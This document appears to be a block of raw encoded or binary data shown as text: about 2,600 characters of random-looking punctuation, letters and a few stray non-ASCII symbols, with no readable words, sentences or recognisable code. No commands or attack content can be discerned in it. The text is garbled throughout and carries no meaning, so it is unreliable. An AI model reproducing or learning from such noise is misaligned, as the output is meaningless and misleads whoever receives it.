UX%as"u(v&Yi+M/<)4P+?T\RLeR{d~hqiXScTwkRJSMN0NOS9N5fQ9h_jl[k|N_CU8Y~;WP@-Wx/S;QJ19[4`^`}n,x00BhR_SO<+E@AB\fKMhi^elcmJ^G{W3pqBgpFd]8[gNbiRjcL~L$`K|pSvpEbHSY^sn[tpcx{u\zpV|nQzs;^dY;^JU|1S9Rz9U|9Vz:[z>Ur+S/zAg'h5oPph^qXii[ixflbj[lmV[;c9\6e7Z2^.[.^,KJRY?N|v hx"~)]J=2SWZXNNo@?\\SxdItHMNnkWydZs[Qo_PGOSQNQYQMQPQQQRQMQOa=QB]F[6G5N3I2MIJUPYEcHfSs}SqvToqUomZt]Vm^Zk~NL}XDxT8c5qX?wbDq_Gb[O]TPd\^SKQYFdSEoK0]t]GMHWCcPeKh2yJ'8+ju(f}9ZCNOD\AKG`"v7""m5r![8xZNn8TASX~FLp@dClu:Rn_1R4f^'}@\|YQ~\=AoOVND|LcoDz``[rrg[!jX*x6}$o5_(kL@v=i4cgs(tzCqxOosI=`}>oK^d\Ic^QRvT\OeO~zXrfbmebhn`n]nm[d_LXQJQr.R7z.}T NZCe}-8M,M-M.o.p!q P.EFsCCs7c_YQpx@XGdBZF~^LsdXWg[Fkep_Nm\PhWFwUH;^OWX)|%$~kRUs\zI[_Ze$j*n,M~G~HT!`1q,]UuTWu^YceX]t4nk=f3;IQ!M#J~M+|Y p\HAJOdQTc1Yf-Ui>dmFd8b"YdG`H| 52]MZoZo.*|1lFkMF;^B:`J;`@:_4=ZBQ`N\qMpgJs2[V*]HQ1jf%u3lj"]4]'^0j:\9o!edl-~x"nn)_}*Yq%LT6OUOKLQUHKbO@whUlR\QLCC.s05y-/2>;M7EZdYG`gYLg@S0wL.]G3Ik)Tc&[P)XU@\eGdkHniDU-_ITZPHcSOcftbkaoY~Cud>we>wk9nmc2X%[,`A]GWCP~8Z;V}?K"^y-i)}0]Ntx]tXmfTlw`fgkZoeRd;b7Q8Z5[2\4^3S2[HKM[Tpk[qmfdAGcZW_De>tMdC~jhSonTshRmaK_DWQHQOPUQVQSQKQ[QJQVWMZGABBHVH^?V?SEWMYMTPMQ[i^r~^rwSppTnn^ni`nc\i[QVN}RBa:saB{^KhaJSPOjdOTUPgdWidZTKNQAY`VdVm`RkNkcOlNj|{OfI\7e-9tDpDeF^A]CaMQH}0n1~w'y$|"|.w5tv75tu6=~zDsk9ohAtoW^p]MhWKgRPBWPYII2emFp|`?|a@R@`APC`KZStME}IPMhEr?k]]V*Tu+S2JQU5[;JNZTqe?aA`jmuh`RvaCsGrDtoAtn:rwU]pZxj?gb>rjGl1S)?*Rk`FZZatm{4w*l3pl;;6U2l1l+q&m$|)tw3d`LpaiehVp~Ry]x~DXEP7`DSbOu\>R?[NSN^'XXBM"DJ\ d i mh mmh$h0r)x*t3c,}n.~u6~a!o4v2fQ|JeaMRyCjm6wj9_0M/C,G='6'=-`7\LXf-l`_jRqsP~vh_pU{P|0ee>s@w*j<`*n+u3rCl0T;V8N;sW:{c=eC_UnUR}XZze^~]rLuaB~iIwz/W_1R/T+:2@CNHW[5c7l+{0n}-i6bD\t+Ej%c|:uCLvlsh_vcm9QtXd;c4OzkHgjOb}DxCtU[fljci`ulRWd]urcosNxv6yh1c.e/}h3|h*c3e<_2V+R-G!W/Qd;P(iBwDf@WFqVremcXmmZ\ijXqcR\9S9`8V6U5a5N3S2WCUPJO{!#1YZHUOZwM_s6I`N]qJS|]7QUgNLfEKgGQgVCjQSahHJz]^:c=dIZCMILRCNc}6_x,3z/|# vw~x"29|Drn7eh8_iGdRNa5]1_,s9KcJjyGOo`jackVegRpac[UAxzx}w_iCgW9^4]6KK`L^>iD|m,jg:bqRtXacePFcPOEjNcBdF^q`SQ4^3NNO|^:fRfBqU-uRO|Bx~0ePsR/m9ZPCQp@g+k$Rz>Ev/LDcq[y\udiiaxfksUglR_u]eve:qj@Yv@l]@NUIk_Iz(Ymy`jAsw4[s;eln'q*fl_sBi=aTmWq[s`xVvR6z3MS*K/@<4TDaLMYSjMy>u>zx8xv2cx9_DjFlk,[p0tCQfjqQkan_\>~F^Dz9`9JH[Pk}cJT7W5[3_4o+%"/zH}Lx1SQqxmqqfwrZJeUmk\knKtg2e8m4v9w:i%R#i/e-^,R,AT4kViNhFnMo>lKauNfT_fZip\aheQhaGM8N8`5W3X4b2Z0d0o;JObN ̇hTNb[gCd}5I`DUmEO{Zj9|L5YQTNWGRNH?GWegcfV`I?\\WV]6J4B8:JK8g sta|c;nV<{:iMSL.vs1xF]X|`SkVfDDE\a{lqcSbiWqMtmN69~g2y`\`^kmseG;W&\8WQ}}?s1{UPSP_)X,\?IQ`]e \9TCY[`N\^}]rpfqsXp~a\XjhWlfLgkI^jI`hSm`oGj9nt7>xZidvVdlHjZr=st1q,kCsHoOXNsE{4w02y7tBQ|S_l}nerYnW^nmckmmXcHUKs:m8U:j+X0nv*{n  | | ȇåӃE{XlT~\Dx^FiDXLWWLkSKS@_EX4M5`9V;r7lGpI~JG]^?u~ttjdE^ZS}A=V9q@^C5SQORVU=<~O;]9k9l